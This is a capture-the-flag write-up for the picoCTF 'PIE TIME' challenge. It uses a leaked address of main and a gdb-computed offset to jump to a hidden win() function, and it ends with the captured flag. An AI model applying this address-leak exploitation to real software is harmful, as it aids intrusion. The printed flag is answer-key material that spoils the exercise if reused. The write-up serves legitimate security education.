PIE TIME
- Description: Can you try to get the flag? Beware we have PIE!
- Difficulty: Easy
🔎 Solution
This challenge revolves around PIE (Position Independent Executable) in Linux binaries, where the executable can be loaded at any random location in memory rather than at a fixed address.
Using the checksec
tool on the provided binary, we confirm that PIE is enabled.
tndt@tndt:~/Desktop$ checksec --file=./vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 78) Symbols No 0 1 ./vuln
Reviewing the provided source code, we notice that the program first prints the address of the main
function.
It then prompts the user to input an address to jump to.
Interestingly, there is a win()
function in the code that prints the flag, but it is never called during normal execution.
Our goal is to determine the address of this win()
function so we can jump to it.
int main() {
signal(SIGSEGV, segfault_handler);
setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered
printf("Address of main: %p\n", &main);
unsigned long val;
printf("Enter the address to jump to, ex => 0x12345: ");
scanf("%lx", &val);
printf("Your input: %lx\n", val);
void (*foo)(void) = (void (*)())val;
foo();
}
Using gdb
, we calculate the offset between main
and win
, which turns out to be 0x96.
(gdb) p/x &main - &win
$1 = 0x96
Next, we connect to the remote server to retrieve the actual runtime address of the main
function
Address of main: 0x5d65f516b33d
From there, we simply subtract the known offset (0x96) to compute the address of win()
.
(gdb) p/x 0x5d65f516b33d - 0x96
$1 = 0x5d65f516b2a7
Finally, we input this computed address when prompted - and successfully capture the flag.
Enter the address to jump to, ex => 0x12345: 0x5d65f516b2a7
Your input: 5d65f516b2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_3d38fb4b}
🚩Flag
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_3d38fb4b}